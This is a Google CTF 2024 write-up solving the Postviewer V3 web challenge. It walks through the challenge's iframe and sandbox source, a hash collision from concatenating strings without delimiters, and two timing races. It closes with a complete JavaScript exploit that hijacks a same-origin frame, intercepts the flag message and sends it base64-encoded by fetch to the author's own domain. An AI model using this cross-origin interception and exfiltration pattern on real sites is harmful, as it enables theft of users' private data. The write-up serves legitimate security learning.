Postviewer V3 - Racing All The Way To Glory


Intro


This post is a writeup for a challenge that was part of this year's Google CTF, in which I will describe how I solved the Postviewer V3 web challenge by terjanq. This challenge had an unintended solution that was used by several teams and was described in the official writeup, but I feel that my solution had an extra twist to it so I decided to follow through with this post to both describe the process and also share that twist I mentioned. The intended solution also had a very nice twist to it, requiring uploading a file to storage.googleapis.com or better yet - finding an XSS vulnerability in a file already stored there. You can read all about it in the official challenge write up.

I will attempt to give a nice background and information about the challenge, but I will not go into the details of the intended solution. If you didn't try to solve this challenge yourself I suggest reading the official writeup first, which will give you a better understanding of the challenge and the solution. If you do have a good understanding of the challenge and you're here for the twist - make sure to skip to the exploitation section, and specifically to the the 2nd race.

Postviewer challenges have been around for a while now, and they tend to be pretty interesting and fun to solve. This is the third year in a row that Postviewer finds its way into the Google CTF competition after first appearing in the 2022 edition.
These challenges look pretty much the same but have a very different solution each year, usually around sandboxing and some iframe magic.

The Challenge


The website is pretty simple, you get to upload a file which will be stored locally (in an IndexedDB) and then displayed in an iframe. The way that the file is being rendered is a little bit tricky though, and contains several(!) iframes, one of which is even sandboxed.

We get the source code of the challenge (which is always very handy when testing) and it is clear that the goal is to somehow read a file that was upload locally on an admin's session. We can get the admin to browse to a page of our choosing but we cannot add files to they're storage.

async function visitUrl(_ctx, url, sendToPlayer) {
  const context = await _ctx;
  const page = await context.newPage();
  await page.goto(PAGE_URL, {
    timeout: 2000,
  });

  const pageStr = await page.evaluate(() => document.documentElement.innerHTML);

  if (!pageStr.includes("Postviewer v3")) {
    const msg = "Error: Failed to load challenge page. Please contact admins.";
    console.error(`Page:${pageStr}`);
    sendToPlayer(msg);
    throw new Error(msg);
  }

  sendToPlayer("Adding admin's flag.");
  await page.evaluate(
    (flag, randName) => {
      const db = new DB();
      db.clear();
      const blob = new Blob([flag], { type: "text/plain" });
      db.addFile(new File([blob], `flag-${randName}.txt`, { type: blob.type }));
    },
    FLAG,
    randString()
  );

  await page.reload();
  await sleep(1000);

  const bodyHTML = await page.evaluate(
    () => document.documentElement.innerHTML
  );

  if (!bodyHTML.includes("file-") && bodyHTML.includes(".txt")) {
    const msg = "Error: Something went wrong while adding the flag.";
    console.error(`Page:${bodyHTML}`);
    throw new Error(msg);
  }

  sendToPlayer("Successfully added the flag.");
  await page.close();

  sendToPlayer(`Visiting ${url}`);
  const playerPage = await context.newPage();
  await playerPage.goto(url, {
    timeout: 2000,
  });
}

The admin's visit logic is pretty simple, every session starts with adding the flag to the admin's storage and then visiting the URL that was provided by the player.

const processHash = async () => {
	safeFrameModal.hide();
	if (location.hash.length <= 1) return;
	const hash = location.hash.slice(1);
	if (hash.length < 5) {
		const id = parseInt(hash);
		location.hash = filesList.querySelectorAll('a')[id].id;
		return;
	}
	const fileDiv = document.getElementById(hash);
	if (fileDiv === null || !fileDiv.dataset.name) return;
	previewIframeDiv.textContent = '';
	await sleep(0);
	previewFile(db.getFile(fileDiv.dataset.name), previewIframeDiv);
	/* If modal is not shown remove hash */
	setTimeout(() => {
		if (!previewModalDiv.classList.contains('show')) {
			location.hash = '';
		}
	}, 2000);
}

window.addEventListener('hashchange', processHash, true);

window.addEventListener('load', async () => {
	const files = await db.getFiles();
	files.sort((a, b) => a.date - b.date);
	for (let fileInfo of files) {
		await appendFileInfo(fileInfo);
	}
	processHash();
})

In the snippet above you can see the main logic that is implemented on the main challenge page. Looking at the "load" event listener you can see that the page is loading all the files that are stored in the IndexedDB and displaying them in the page. right after that the processHash function is called which is responsible for displaying the file that is stored in the IndexedDB based on the hash in the URL.

An interesting thing to note is that the processHash function has two different behaviors based on the length of the hash in the URL. If the hash is less than 5 characters long it will treat it as an index of a file that is displayed in the list of files, otherwise it will try to display the file that is stored in the IndexedDB with the same hash as the one in the URL.
To present the file, the previewFile function is called with the file's content and the iframe that will display it (which is a simple, empty iframe).

async function previewFile(filePromise, container) {
  const shimOrigin = location.origin;
  const { safeFrame, safeFrameOrigin } = await safeFrameRender(
    evaluatorHtml,
    "text/html; charset=utf-8",
    "postviewer",
    shimOrigin,
    container
  );
  const onReady = async function (e) {
    if (e.origin !== safeFrameOrigin || e.data !== "loader ready") return;

    const file = await filePromise;
    const body = await file.arrayBuffer();
    let sandbox;
    if (file.type !== "application/pdf") {
      sandbox = "allow-scripts";
    }
    safeFrame.contentWindow.postMessage(
      { eval: iframeInserterHtml, body, type: file.type, sandbox },
      safeFrameOrigin,
      [body]
    );
    window.removeEventListener("message", onReady);
  };
  window.addEventListener("message", onReady);
}

async function safeFrameRender(body, mimeType, product, shimOrigin, container) {
  const url = new URL(shimOrigin);
  const hash = await calculateHash(body, product, window.origin, location.href);
  url.host = `sbx-${hash}.${url.host}`;
  url.pathname = product + "/shim.html";
  url.searchParams.set("o", window.origin);

  var iframe = document.createElement("iframe");
  iframe.src = url;
  container.appendChild(iframe);
  iframe.addEventListener(
    "load",
    () => {
      iframe.contentWindow?.postMessage(
        { body, mimeType, salt: location.href },
        url.origin
      );
    },
    { once: true }
  );

  return { safeFrame: iframe, safeFrameOrigin: url.origin };
}

Few interesting things to note here - first of all, the previewFile calls the safeFrameRender function with the evaluatorHtml as the body, which is not the content of the file we're about to preview. Instead, the content of the file will be passed to the iframeInserterHtml as a parameter in a postMessage call.

Another important step here is that the safeFrameRender function creates an iframe with a pretty unique domain that is derived from the hash of the content that is passed to it. The content of the iframe is shim.html which is pretty complex on it's own.

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Sandbox iframe</title>
    </head>
    <body>
        <script>
			const HASH_REGEXP = /^sbx-([a-z0-9]{50})[.]/;
			const PRODUCT_REGEXP = /[/]([a-z0-9_-]*)[/]shim.html/;
			let FILE_HASH, PRODUCT

			function _throw(err) {
				document.body.innerText = err;
				throw Error(err);
			}

			try {
				FILE_HASH = HASH_REGEXP.exec(location.host)[1];
			} catch (e) {
				_throw("Incorrect hash");
			}

			try {
				PRODUCT = PRODUCT_REGEXP.exec(location.pathname)[1];
			} catch (e) {
				_throw("Incorrect product");
			}

			const TRUSTED_ORIGIN = new URL(location.href).searchParams.get('o');
			if (!/^https?:\/\//.test(TRUSTED_ORIGIN)) {
				_throw("Untrusted Origin");
			}

			function arrayToBase36(arr) {
				return arr
					.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
					.toString(36);
			}

			async function calculateHash(...strings) {
				const encoder = new TextEncoder();
				const string = strings.join('');
				const hash = await crypto.subtle.digest('SHA-256', encoder.encode(string));
				return arrayToBase36(new Uint8Array(hash)).padStart(50, '0').slice(0, 50);
			}

			window.onmessage = async (e) => {
				if (e.origin !== TRUSTED_ORIGIN) {
					_throw("Wrong origin");
				}
				if (e.data.body === undefined || !e.data.mimeType) {
					_throw("No content to render");
				};

				const { body, salt, mimeType } = e.data;
				[body, salt, mimeType, PRODUCT, TRUSTED_ORIGIN].forEach(e => {
					if (typeof e !== 'string') {
						_throw(`Expected '${e}' to be a string.`);
					}
				});
				const hash = await calculateHash(body, PRODUCT, TRUSTED_ORIGIN, salt);
				if (hash !== FILE_HASH) {
					_throw(`Expected hash: ${hash}`);
				}

				const blob = new Blob([body], { type: mimeType });
				window.onmessage = null;
				e.source.postMessage('blob loaded', e.origin);
				location.replace(URL.createObjectURL(blob));
			};

		</script>
    </body>
</html>

shim.html is a pretty straightforward page that expects a message (postMessage) with a body, mimeType, and a salt. It will then calculate a hash on those, along with the PRODUCT and TRUSTED_ORIGIN values. If the hash matches the hash in location.host - it will render the body that was sent to it (by using the blob URL API).

const evaluatorHtml = `
<html>
  <head>
    <meta charset="utf-8">
    <title>Evaluator</title>

    <script>
		onmessage = e => {
			if (e.source !== parent) {
				throw /not parent/;
			};
			if (e.data.eval) {
				eval(e.data.eval);
			}
		}
		onload = () => {
			parent.postMessage('loader ready', '*');
		}
	</script>

    <style>
      body{
        padding: 0px;
        margin: 0px;
      }
      iframe{
        width: 100vw;
        height: 100vh;
        border: 0;
      }
      .spinner {
        background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
      }
      .spinner iframe{
        opacity: 0.2
      }
    </style>
  </head>
  <body>
    <div id="container" class="spinner"></div>
  </body>
</html>
`;

const iframeInserterHtml = `
const container = document.querySelector("#container");
container.textContent = '';
const iframe = document.createElement('iframe');
iframe.src = URL.createObjectURL(new Blob([e.data.body], {type: e.data.type}));
if(e.data.sandbox) {
  iframe.sandbox = e.data.sandbox;
}
container.appendChild(iframe);
setTimeout(()=>{
  container.classList.remove('spinner');
}, 5000);
iframe.onload = () => {
  setTimeout(()=>{
    container.classList.remove('spinner');
  }, 500);
};
`;

evaluatorHtml receives payload through the postMessage API and then evaluates it. It will only accept messages from it's parent frame and will throw an error if the source of the message is different.

iframeInserterHtml creates an iframe element and sets it's source to a blob URL that is created from the content of the message that was sent to it. That iframe will also have a sandbox attribute that will be set if requested in the message.

Flow Overview

When choosing to view a file - the location.href of the website will be changed so that it will contain a fragment with the hash of the file's name (for example: postviewer/#file-[hash]).
A modal will be opened with an iframe inside of it which will be under a pretty uinque domain that is a hash of several parameters.
The pages that are being rendered in the iframes are pretty complex and have several iframes inside of them, some of which are sandboxed. The content of the file that is being displayed is sent to the iframe through postMessage API calls.

The Exploitation


When approaching a challenge, it is important to identify the parts that are crucial for the solution and then go backwards from there. In this case I'd say that the important conclusions I could spot were:
- The flag is rendered inside an iframe with a different domain than the main page
- There is no obvious way that we could add files to the admin's storage
- There are a lot of suspicious postMessages and evals calls

After inspecting what happens in the shim.html frame, it became pretty clear that it will gladly render any content that we send to it, as long as the origin of the message is the same as the one that is passed in the URL parameter (?o=[ORIGIN]), and that the hash in location.host matches the one that is calculated inside the page.
If we'll send the admin to a page we control, embed an iframe of shim.html in it and also somehow bypass these validations - we have a foothold and an XSS in a frame that shares the same ancestor origin as the one the frame that will render the flag if the admin would visit the website's main page.

The Plan

Using the "o"" URL parameter makes it pretty easy to bypass the origin validation. By sending the admin to a page we control - we can make sure it renders an iframe of shim.html with a host that we control. To bypass the hash validation inside shim.html we can calculate the hash based on the parameters that will be passed to it and then set the location.host to the right value (every domain is valid and will be accepted by the backend).
On it's own, that it is not really helpful (especially after setting the window's domain was deprecated in recent chrome versions). The only way that this could be useful is if we can get the actual frame that displays the flag to be rendered with the same domain as the one we control (in which case we could potentially access it).

If we will manage to make the admin's browser open both the page that we control as well as the challenge's main page, and also have it render the flag inside of it in a frame that share the same origin as a frame we control - we could potentially access that frame in the main page and read the flag.

The 1st Race

As you can see in the snippet of the safeFrameRender attached above, the host of the iframe that will be rendered with the flag is derived from several components: The content of the evaluatorHtml, the PRODUCT value, the origin of the window and the location.href which should contain the entire URL of the page, including the fragment with the hash of the file we're about to render.

The location.href is the actual tricky part as we cannot really guess the hash of the flag file's name (it is randomly generated). The thing with fragments is that they are not really triggering requests to the server, but merely used as a way to navigate within the page. This means that, theoretically, if the fragment in the window location would change it will not interfer with the actual flow of the page, and the domain calculated for the iframe that renders shim.html will be affected by the fragment that is currently set, this is a very important step towards making sure we manage to control a frame with the same origin as the one the flag will be rendered in.

Let's have a second look at the calculateHash function:

async function calculateHash(...strings) {
  const encoder = new TextEncoder();
  const string = strings.join("");
  const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
  return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}

Can you spot any problem here? Well, by concatenating the strings without delimiters, you open yourself up to the possibility of a hash collisions by carefully crafting the content of the user-controlled parameters.

As we saw earlier, when safeFrameRender is called, it uses the current location.href present at the moment the call to calculateHash is executed. If we could change the fragment of the URL in that frame just at the right time we could influence the input for that call. In this case, the structure of value that will be hashed and used as the host of the frame rendering the flag will be the following:

evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#" + MANIPULATED_FRAGMENT

The hash that is calculated inside the shim.html is calculated in the following way:

const hash = await calculateHash(body, PRODUCT, TRUSTED_ORIGIN, salt);

On the main page flow, we figured out that we could only partially control the location.href (used as the salt). This means that all the other, uncontrollable parts used while hashing will have to also be present in any frame that we render in order for it to share the same origin. These will be evaluatorHtml (body), postviewer (PRODUCT), and the legitimate window.origin. This could potentially limit the things that we could do inside the frame we will render as we can only set it's body to be equal to the evaluatorHtml, but, as we saw earlier, evaluatorHtml evaluates the content of a message it receives if it was sent by it's parent. This behaviour practically allows us to do everything we need inside that frame.
When we render the frame in the page we control we actually do control the body, the product and yes, even the salt. body and salt are passed through the postMessage API, PRODUCT is drived from the URL and the TRUSTED_ORIGIN is passed as a url parameter. Another contraint we inferred previously is that we have to make sure the the TURSTED_ORIGIN is the origin that we control, so that the frame will accept our messages.

Now let's see if we can come up with something that will work for us...

body + product + trusted_origin + salt = evaluatorHtml + "postviewer" + window.origin + location.href
// Which is basically
body + product + "https://eyald.com" + salt = evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#" + MANIPULATED_FRAGMENT

We could make the first part equal by setting body to:

evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#"

Then if we could control and set MANIPULATED_LOCATION_HREF to be equal to product + "https://eyald.com" in the main page's frame, we'd be golden!

So the final hashed values will be:

// In the main page
let product = "postviewer";
let origin = "https://postviewer3-web.2024.ctfcompetition.com";
let MANIPULATED_FRAGMENT = product + "https://eyald.com";
let href = origin + "/#" + MANIPULATED_FRAGMENT;
let mainPageIframeValue = evaluatorHtml + product + origin + href

// Our crafted payload
let body = evaluatorHtml + product + origin + origin + "/#";
let trusted_origin = "https://eyald.com";
let salt = "";
let maliciousIframeValue = body + product + trusted_origin + salt;
maliciousIframeValue == mainPageIframeValue // true

Well well, we have a plan! We came up with a way to embed a frame that will share the same origin as the one that will render the flag, and we also have a way to control the content of that frame. The flag will be rendered inside another (sandboxed) iframe with a blob:// url.

To actually have the two pages render in the admin's browser while also allowing our controlled frame to access the frame in the main page - we would have to open the two pages "side by side". There are many possible ways to achieve this, but the one that was most convenient for me was to open another tab with the page that we control and use the window.top.opener to access the second tab from outside and inside the frame that we control.

The Road Not Taken

This is the part where my solution takes a pretty interesting turn. In this situation we're controlling a blob:// frame, and we have the blob:// frame on the main page that shared the same origin. The frame on the main page created a (sandboxed) blob:// frame inside fo it that contained the flag. When playing with the console and accesing that sandboxed frame I noticed that the content of the frame appeared empty when accessing through javascript (for example, accessing window.top.opener.frames[0].container.children[0].innerHTML returned an empty string). I figured it was something related to it being sandboxed but didn't really tested it further. The way the blob:// urls work is that they are valid locally until either revokeObjectUrl is called, or the document that created it unloads. At this point, we obviously have the document that created it still open, so we could simply fetch it from frame that we control:

await (await fetch(window.top.opener.frames[0].container.children[0].src)).text()

I completely missed that solution and was immediately struck with a different idea that I had to try.

The 2nd Race

To be honest here, when first approaching the challenge and trying to map the ways I could potentially retrieve the flag I pretty much fixated on an approach that would see me registering a callback on the frame that handles the postMessage API call with the flag - right before it is rendered to a sandboxed iframe. After successfully controlling a frame with an origin as the one on the main page - my mind was already set on attempting the second unintended step in the solution.

A sketch of the propsed solution to intercept the flag

So, to win the second race, as we would have to register the callback before the message is sent. This was not an easy task but eventually I managed to get it to work. The exploitation was a little bit flakey and did not work every time, but after some tweaking I managed to get it to be much more stable. One of the things that made it more stable was to spam the main page with messages that probably made the page slower and allowed me to register the callback before the message was sent.

I assume that playing a little bit more with the timeout values for the steps (altering the href, sending the messages, etc...) would also work but I managed to make it stable quickly by using this spamming technique.

The Solution


Finally, the solution! Putting all of this together inside a single javascript payload and making sure to refer the admin to a page that embeds it:

// Copied the functions from the challenge
function arrayToBase36(arr) {
  return arr
    .reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
    .toString(36);
}

async function calculateHash(...strings) {
  const encoder = new TextEncoder();
  const string = strings.join("");
  const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
  return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}

SITE = "https://eyald.com";
ORIGIN = 'https://postviewer3-web.2024.ctfcompetition.com';
// The original evaluatorHtml
const evaluatorHtml = `
<html>
  <head>
    <meta charset="utf-8">
    <title>Evaluator</title>

    <script>
      onmessage = e => {
        if(e.source !== parent) {
          throw /not parent/;
        };
        if(e.data.eval){
          eval(e.data.eval);
        }
      }
      onload = () => {
        parent.postMessage('loader ready','*');
      }
    </script>

    <style>
      body{
        padding: 0px;
        margin: 0px;
      }
      iframe{
        width: 100vw;
        height: 100vh;
        border: 0;
      }
      .spinner {
        background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
      }
      .spinner iframe{
        opacity: 0.2
      }
    </style>
  </head>
  <body>
    <div id="container" class="spinner"></div>
  </body>
</html>
` + "postviewer" + ORIGIN + ORIGIN + "/#";

async function exploit() {
  let hash = await calculateHash(evaluatorHtml, "postviewer", SITE);
  let i = document.createElement("iframe");
  i.src = `${(new URL(ORIGIN)).protocol}//sbx-${hash}.${(new URL(ORIGIN)).host}/postviewer/shim.html?o=${SITE}`;
  document.body.replaceChildren(i);
  i.addEventListener("load", () => {

  	let msg = {
  	    body: evaluatorHtml,
  	    mimeType: "text/html; charset=utf-8",
  	    salt: ""
  	}

  	i.contentWindow.postMessage(msg, "*");	

    window.opener.location = ORIGIN + "/#1";
    // Let the main page load first
    setTimeout(() => {
        window.opener.location = ORIGIN + "/#0";

        // Spam the window with messages
        for (var i = 0; i < 10000; i++) {
            window.opener.postMessage('blob loaded', "*");
        }

        // Render the flag in the main page
        setTimeout(() => {
            window.opener.location = `${ORIGIN}/#`;
        }, 100);

		// We use a hash with length < 0 that will be treated as an index of a file in the list
		// The first file in the list is the flag
        setTimeout(() => {
            window.opener.location = `${ORIGIN}/#0`;
        }, 100);

		// Win the first race hopefully
        setTimeout(() => {
            window.opener.location = `${ORIGIN}/#postviewer${SITE}`;
        }, 150);

		// Attempt to win the second race, loop and check if the main page's frame was rendered and then
		// try to register a message handler on it's window. If we succeeded that it means we won the
		// first race.
        setInterval(() => {
          let iframe = document.body.querySelector("iframe");
          iframe.contentWindow.postMessage({eval: `
            try {      
              if (window.top.opener.frames[0].document) {
                window.top.opener.frames[0].onmessage = (e) => {
				  // Try to intercept and report back every message we get from the main page to it's frame
                  try {
                    var enc = new TextDecoder("utf-8");
                    let x = enc.decode(e.data.body);
                    fetch("${SITE}/" + btoa(x), {mode: "no-cors"});
                  } catch {
                    fetch("${SITE}/" + btoa(e.data.body), {mode: "no-cors"});
                  }
                }
              }
            } catch { }
        `}, "*")
        }, 10);
      }, 500)
  })
}

// If this is the first page, open the new window and start the exploit there
if (window.location.href.includes("phase-two")) {
  exploit();
} else {
  window.open("#phase-two");
}

Ciao 👋🏼, Eyal
Tags: ctf google web xss race postviewer
Found an error in the post? Please contact me so I could address it